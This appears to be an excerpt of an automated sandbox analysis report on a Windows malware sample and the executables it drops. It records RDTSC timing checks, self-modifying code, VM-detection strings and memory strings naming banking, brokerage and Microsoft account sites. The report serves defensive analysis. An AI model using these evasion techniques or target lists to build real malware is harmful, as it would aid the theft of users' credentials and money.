Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0086C second address: 4E008CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a push eax 0x0000000b pushfd 0x0000000c jmp 00007FB6784C8BE7h 0x00000011 and eax, 2146A4AEh 0x00000017 jmp 00007FB6784C8BE9h 0x0000001c popfd 0x0000001d pop eax 0x0000001e mov dh, EAh 0x00000020 popad 0x00000021 push eax 0x00000022 jmp 00007FB6784C8BE3h 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E008CE second address: 4E008D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00912 second address: 4E00924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6784C8BDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0097D second address: 4E00999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, ax 0x00000010 movzx esi, di 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00999 second address: 4E0099F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: CE543 second address: CE549 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: CE549 second address: CE553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB6784C8BD6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: CE553 second address: CE557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: CDE28 second address: CDE3F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB6784C8BDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: CDE3F second address: CDE49 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB678E7E6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: CDE49 second address: CDE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6784C8BDEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 240702 second address: 240735 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB678E7E6F6h 0x00000008 jmp 00007FB678E7E6F0h 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FB678E7E6F6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 25964C second address: 25965E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB6784C8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FB6784C8BD6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 2597D0 second address: 2597E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007FB678E7E6F1h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 259995 second address: 25999E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 25999E second address: 2599A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 2599A6 second address: 2599B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BDCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 259AF4 second address: 259B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB678E7E6E6h 0x0000000a pop esi 0x0000000b pushad 0x0000000c jmp 00007FB678E7E6F9h 0x00000011 jl 00007FB678E7E6E6h 0x00000017 jmp 00007FB678E7E6EDh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 25C391 second address: 25C397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 25C397 second address: 25C39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 25C39B second address: 25C3D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB6784C8BE9h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jl 00007FB6784C8BE2h 0x0000001b jp 00007FB6784C8BDCh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 25C4BD second address: 25C4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 25C4C2 second address: 25C556 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB6784C8BD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jno 00007FB6784C8BD6h 0x00000015 popad 0x00000016 pop edi 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FB6784C8BD8h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov edx, dword ptr [ebp+122D2D4Dh] 0x00000038 jmp 00007FB6784C8BE1h 0x0000003d push 00000000h 0x0000003f pushad 0x00000040 pushad 0x00000041 mov ecx, dword ptr [ebp+122D2DCDh] 0x00000047 mov edi, edx 0x00000049 popad 0x0000004a and edx, dword ptr [ebp+122D2FB9h] 0x00000050 popad 0x00000051 call 00007FB6784C8BD9h 0x00000056 pushad 0x00000057 push edi 0x00000058 jmp 00007FB6784C8BDBh 0x0000005d pop edi 0x0000005e jmp 00007FB6784C8BE4h 0x00000063 popad 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	RDTSC instruction interceptor: First address: 25C556 second address: 25C55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 16ED8E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 314027 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 321F0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Special instruction interceptor: First address: CDDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Special instruction interceptor: First address: CDE9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Special instruction interceptor: First address: 28124F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Special instruction interceptor: First address: 27FC05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Special instruction interceptor: First address: 3215EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Special instruction interceptor: First address: 2FEA24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Special instruction interceptor: First address: 4A6771 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Special instruction interceptor: First address: 4D0BD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Special instruction interceptor: First address: 4B8AF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 48EA24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 636771 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 660BD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 648AF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Special instruction interceptor: First address: 45ED8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Special instruction interceptor: First address: 604027 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Special instruction interceptor: First address: 611F0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Special instruction interceptor: First address: 60D89B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Special instruction interceptor: First address: 7B4486 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Special instruction interceptor: First address: 7DDD6D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Special instruction interceptor: First address: 7BD52B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Memory allocated: 4B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Memory allocated: 4DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Memory allocated: 6DB0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

Code function: 10_2_0025C6A2 rdtsc

10_2_0025C6A2

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7244	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7256	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe TID: 7716	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1272	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1156	Thread sleep count: 177 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1156	Thread sleep time: -5310000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1316	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3824	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3672	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2044	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1156	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe TID: 5532	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe TID: 6312	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: skotes.exe, skotes.exe, 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmp, 100bc97ff1.exe, 00000013.00000000.2199408785.00000000005E1000.00000080.00000001.01000000.0000000E.sdmp, 100bc97ff1.exe, 00000013.00000002.2517338010.00000000005E2000.00000040.00000001.01000000.0000000E.sdmp, 100bc97ff1.exe, 00000013.00000003.2223886198.0000000004DAA000.00000004.00000800.00020000.00000000.sdmp, 76bf5a4dba.exe, 00000014.00000002.2348946606.0000000000795000.00000040.00000001.01000000.0000000F.sdmp, 100bc97ff1.exe, 00000015.00000000.2336456270.00000000005E1000.00000080.00000001.01000000.0000000E.sdmp, 100bc97ff1.exe, 00000015.00000002.2518171412.00000000005E2000.00000040.00000001.01000000.0000000E.sdmp, 100bc97ff1.exe, 00000015.00000003.2362365884.000000000545E000.00000004.00000800.00020000.00000000.sdmp, 76bf5a4dba.exe, 00000028.00000002.2514742525.0000000000795000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 00000024.00000002.2597900351.000001DF10B2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWMA%SystemRoot%\system32\mswsock.dllILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWr.
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329931380.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2537758267.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2252846404.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357604902.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2284782172.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2269828204.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2304213166.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2503770138.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325695916.0000000000D94000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000024.00000002.2796802534.000001DF1A7BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: firefox.exe, 00000024.00000002.2597900351.000001DF10B2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: firefox.exe, 00000024.00000002.2597900351.000001DF10B2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}~
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 100bc97ff1.exe, 00000015.00000002.2534637202.0000000001346000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000000.1254526769.00000000002F1000.00000080.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1283807608.0000000004FC3000.00000004.00000800.00020000.00000000.sdmp, M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe, 0000000A.00000002.1667815433.0000000000261000.00000040.00000001.01000000.00000006.sdmp, 4XW8W5G3AUTSGA2M5UZH7L9.exe, 0000000B.00000002.1593731154.0000000000488000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 0000000C.00000002.1621988683.0000000000618000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 0000000D.00000002.1625119302.0000000000618000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmp, 100bc97ff1.exe, 00000013.00000000.2199408785.00000000005E1000.00000080.00000001.01000000.0000000E.sdmp, 100bc97ff1.exe, 00000013.00000002.2517338010.00000000005E2000.00000040.00000001.01000000.0000000E.sdmp, 100bc97ff1.exe, 00000013.00000003.2223886198.0000000004DAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
